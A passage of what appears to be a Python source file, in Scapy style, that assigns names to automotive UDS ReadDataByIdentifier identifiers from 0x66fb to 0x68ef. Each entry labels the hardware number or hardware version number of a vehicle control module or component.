"Convenience_and_driver_assist_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fb] = "Air_coolant_actuator_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fc] = "Valve_block_4_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fd] = "Valve_block_4_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66fe] = "Valve_block_4_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ff] = "Valve_block_4_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6701] = "Rear_climatronic_operating_and_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6702] = "Refrigerant_expansion_valve_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6703] = "Refrigerant_expansion_valve_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6704] = "Refrigerant_expansion_valve_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6705] = "Refrigerant_shut_off_valve_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6706] = "Refrigerant_shut_off_valve_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6707] = "Refrigerant_shut_off_valve_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6708] = "Refrigerant_shut_off_valve_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6709] = "Refrigerant_shut_off_valve_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670a] = "Sunlight_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670b] = "Near_field_communication_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670c] = "Clutch_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670d] = "Electrical_charger_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670e] = "Rear_light_left_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x670f] = "Rear_light_right_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6710] = "Rear_light_right_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6711] = "Sunlight_sensor_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6712] = "Radiator_shutter_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6713] = "Radiator_shutter_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6714] = "Radiator_shutter_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6715] = "Radiator_shutter_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6718] = "Special_key_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6719] = "Radio_interface_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671a] = "Video_self_protection_recorder_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671b] = "Special_vehicle_assist_interface_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671c] = "Electric_system_disconnection_diode_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671e] = "Belt_pretensioner_2nd_row_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x671f] = "Belt_pretensioner_2nd_row_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6720] = "Electrical_variable_camshaft_phasing_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6721] = "Electrical_variable_camshaft_phasing_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6722] = "Wireless_operating_unit_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6723] = "Wireless_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6724] = "Front_windshield_washer_pump_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6725] = "Air_quality_sensor_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6726] = "Fragrancing_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6727] = "Coolant_valve_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6728] = "Near_field_communication_control_module_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6729] = "Interior_monitoring_rear_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672a] = "Cooler_fan_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672b] = "Control_unit_heating_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672c] = "Control_unit_heating_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672d] = "Control_unit_heating_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672e] = "Control_unit_heating_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x672f] = "Operating_unit_drive_mode_selection_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6730] = "Side_sensor_a-pillar_driver_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6731] = "Side_sensor_a-pillar_passenger_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6732] = "Sensor_high_voltage_system_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6733] = "Side_sensor_b-pillar_driver_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6734] = "Side_sensor_b-pillar_passenger_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6735] = "Multi_function_steering_wheel_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6736] = "Gear_selection_display_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6737] = "Cooler_fan_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6738] = "Gear_selector_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6739] = "Interior_light_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673a] = "Radio_control_center_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673b] = "Multimedia_extension_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673c] = "Control_unit_differential_lock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673d] = "Control_unit_ride_control_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673e] = "Control_unit_hands_on_detection_steering_wheel_Hardware_Number" UDS_RDBI.dataIdentifiers[0x673f] = "Front_climatronic_operating_and_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6740] = "Auxiliary_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6741] = "Card_reader_tv_tuner_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6742] = "Park_lock_actuator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6743] = "Media_connector_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6744] = "Catalyst_heating_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6801] = "Control_unit_for_wiper_motor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6802] = "Rain_light_recognition_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6803] = "Light_switch_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6804] = "Garage_door_opener_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6805] = "Garage_door_opener_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6806] = "Ignition_key_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6807] = "Left_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6808] = "Right_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6809] = "Left_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680a] = "LED_headlamp_powermodule_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680b] = "LED_headlamp_powermodule_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680c] = "LED_headlamp_powermodule_2_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680d] = "LED_headlamp_powermodule_2_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680e] = "Operating_and_display_unit_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x680f] = "Operating_and_display_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6810] = "Right_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6811] = "Data_medium_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6812] = "Drivers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6813] = "Front_passengers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6814] = "Left_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6815] = "Right_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6816] = "Sensor_for_anti_theft_alarm_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6817] = "Rear_lid_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6818] = "Alarm_horn_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6819] = "Automatic_day_night_interior_mirror_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681a] = "Remote_control_auxiliary_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681b] = "Fresh_air_blower_front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681c] = "Fresh_air_blower_back_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681d] = "Alternator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681e] = "Interior_light_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x681f] = "Refrigerant_pressure_and_temperature_sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6820] = "Sun_roof_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6821] = "Steering_column_lock_actuator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6822] = "Anti_theft_tilt_system_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6823] = "Tire_pressure_monitor_antenna_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6824] = "Heated_windshield_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6825] = "Rear_light_left_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6826] = "Ceiling_light_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6827] = "Left_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6828] = "Right_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6829] = "Control_module_for_auxiliary_air_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682a] = "Belt Pretensioner left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682b] = "Belt Pretensioner right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682c] = "Occupant Detection_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682d] = "Selector_lever_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682e] = "NOx_sensor_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x682f] = "NOx_sensor_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6830] = "Ioniser_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6831] = "Multi_function_steering_wheel_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6832] = "Left_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6833] = "Right_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6834] = "Left_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6835] = "Right_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6836] = "Display_unit_1_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6837] = "Battery_monitoring_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6838] = "Roof_blind_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6839] = "Sun_roof_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683a] = "Steering_angle_sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683b] = "Lane_change_assistant 2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683c] = "Pitch_rate_sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683d] = "ESP_sensor_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683e] = "Electronic_ignition_lock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x683f] = "Air_quality_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6840] = "Display_unit_2_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6841] = "Telephone_handset_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6842] = "Chip_card_reader_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6843] = "Traffic_data_aerial_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6844] = "Hands_free_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6845] = "Telephone_handset_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6846] = "Display_unit_front_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6847] = "Multimedia_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6848] = "Digital_sound_system_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6849] = "Electrically_adjustable_steering_column_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684a] = "Interface_for_external_multimedia_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684b] = "Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684c] = "Drivers_door_rear_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684d] = "Passengers_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684e] = "Sensor_controlled_power_rear_lid_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x684f] = "Camera_for_night_vision_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6850] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6851] = "Rear_spoiler_adjustment_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6852] = "Roof_blind_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6853] = "Motor_for_wind_deflector_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6854] = "Voltage_stabilizer_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6855] = "Switch_module_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6856] = "Switch_module_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6857] = "Switch_module_for_rear_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6858] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6859] = "Switch_module_2_for_driver_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685a] = "Battery_charger_unit_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685b] = "Battery_charger_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685c] = "Battery_charger_unit_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685d] = "Air_conditioning_compressor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685e] = "Neck_heating_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x685f] = "Neck_heating_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6860] = "Switch_module_2_for_front_passenger_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6861] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6862] = "Compact_disc_database_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6863] = "Rear_climatronic_operating_and_display_unit_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6864] = "Rear_climatronic_operating_and_display_unit_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6865] = "Door_handle_front_left_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6866] = "Door_handle_front_right_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6867] = "Door_handle_rear_left_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6868] = "Door_handle_rear_right_Kessy_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6869] = "Power_converter_DC_AC_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686a] = "Battery_monitoring_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686b] = "Matrix_headlamp_powermodule_1_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686c] = "Matrix_headlamp_powermodule_1_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686d] = "High_beam_powermodule_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686e] = "High_beam_powermodule_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x686f] = "Air_suspension_compressor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6870] = "Rear_brake_actuator_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6871] = "Rear_brake_actuator_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6872] = "Analog_clock_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6873] = "Rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6879] = "Data_medium_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687a] = "Operating_unit_center_console_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687b] = "Operating_unit_center_console_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687c] = "Operating_unit_center_console_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687d] = "Operating_unit_center_console_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687e] = "Interface_for_radiodisplay_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x687f] = "Parkassist_entry_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6886] = "Belt_pretensioner_3rd_row_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6887] = "Belt_pretensioner_3rd_row_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6888] = "Injection_valve_heater_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6889] = "Steering_column_switch_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688a] = "Brake_assistance_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688b] = "Trailer_articulation_angle_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688c] = "Cup_holder_with_heater_and_cooling_element_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688d] = "Range_of_vision_sensing_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688e] = "Convenience_and_driver_assist_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x688f] = "Cradle_rear_climatronic_operating_and_display_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6890] = "Trailer_weight_nose_weight_detection_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6891] = "Sensor_carbon_dioxide_concentration_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6892] = "Sensor_fine_dust_concentration_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6893] = "Volume_control_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6894] = "Belt_buckle_presenter_2nd_row_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6895] = "Belt_buckle_presenter_2nd_row_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6896] = "Operating_and_display_unit_6_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6897] = "Active_accelerator_pedal_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6898] = "Multimedia_operating_unit_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x6899] = "Display_unit_3_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689a] = "Display_unit_4_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689b] = "Display_unit_5_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689c] = "Control_module_for_auxiliary_blower_motors_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689d] = "Operating_and_display_unit_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689e] = "Operating_and_display_unit_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x689f] = "Operating_and_display_unit_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a0] = "Side Sensor Driver Front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a1] = "Side Sensor Passenger Front_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a2] = "Side Sensor Driver Rear_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a3] = "Side Sensor Passenger Rear_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a4] = "Front Sensor Driver_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a5] = "Front Sensor Passenger_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a6] = "Pedestrian Protection Driver_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a7] = "Pedestrian Protection Passenger_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a8] = "Rear Sensor Center_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68a9] = "Pedestrian Protection Center_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68aa] = "Pedestrian Protection Contact_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ab] = "Pedestrian_protection_driver_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ac] = "Pedestrian_protection_passenger_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ad] = "Central_sensor_XY_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ae] = "Refrigerant_pressure_and_temperature_sender_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68af] = "Refrigerant_pressure_and_temperature_sender_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b0] = "Switch_for_rear_multicontour_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b1] = "Valve_block_1_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b2] = "Valve_block_2_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b3] = "Valve_block_3_in_driver_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b4] = "Switch_for_rear_multicontour_seat_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b5] = "Valve_block_1_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b6] = "Valve_block_2_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b7] = "Valve_block_3_in_passenger_side_rear_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b8] = "Switch_for_front_multicontour_seat_driver_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68b9] = "Valve_block_1_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ba] = "Valve_block_2_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bb] = "Valve_block_3_in_driver_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bc] = "Switch_for_front_multicontour_seat_passenger_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bd] = "Valve_block_1_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68be] = "Valve_block_2_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68bf] = "Valve_block_3_in_passenger_side_front_seat_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c0] = "Coolant_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c1] = "Seat_backrest_fan_1_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c2] = "Seat_backrest_fan_2_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c3] = "Seat_cushion_fan_1_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c4] = "Seat_cushion_fan_2_front_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c5] = "Seat_backrest_fan_1_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c6] = "Seat_backrest_fan_2_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c7] = "Seat_cushion_fan_1_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c8] = "Seat_cushion_fan_2_front_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68c9] = "Operating_and_display_unit_1_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ca] = "Operating_and_display_unit_2_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cb] = "Operating_and_display_unit_3_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cc] = "Operating_and_display_unit_4_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cd] = "Operating_and_display_unit_5_for_air_conditioning_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ce] = "Pedestrian_protection_left_hand_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68cf] = "Pedestrian_protection_right_hand_side_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d0] = "Battery_junction_box_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d1] = "Cell_module_controller_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d2] = "Cell_module_controller_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d3] = "Cell_module_controller_3_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d4] = "Cell_module_controller_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d5] = "Cell_module_controller_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d6] = "Cell_module_controller_6_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d7] = "Cell_module_controller_7_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d8] = "Cell_module_controller_8_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68d9] = "Cell_module_controller_9_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68da] = "Cell_module_controller_10_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68db] = "Cell_module_controller_11_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68dc] = "Cell_module_controller_12_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68dd] = "Seat_backrest_fan_1_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68de] = "Seat_backrest_fan_2_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68df] = "Seat_cushion_fan_1_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e0] = "Seat_cushion_fan_2_rear_left_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e1] = "Seat_backrest_fan_1_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e2] = "Seat_backrest_fan_2_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e3] = "Seat_cushion_fan_1_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e4] = "Seat_cushion_fan_2_rear_right_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e5] = "Auxiliary_blower_motor_control_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e6] = "Auxiliary_blower_motor_control_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e7] = "Infrared_sender_for_front_observation_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e8] = "Starter_generator_control_module_sub_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68e9] = "Media_player_1_sub_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ea] = "Media_player_2_sub_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68eb] = "Dedicated_short_range_communication_aerial_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ec] = "Refrigerant_pressure_and_temperature_sender_4_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ed] = "Refrigerant_pressure_and_temperature_sender_5_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ee] = "Refrigerant_pressure_and_temperature_sender_6_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x68ef] = "Air_coolant_actuator_1_Hardware_Version_Number" 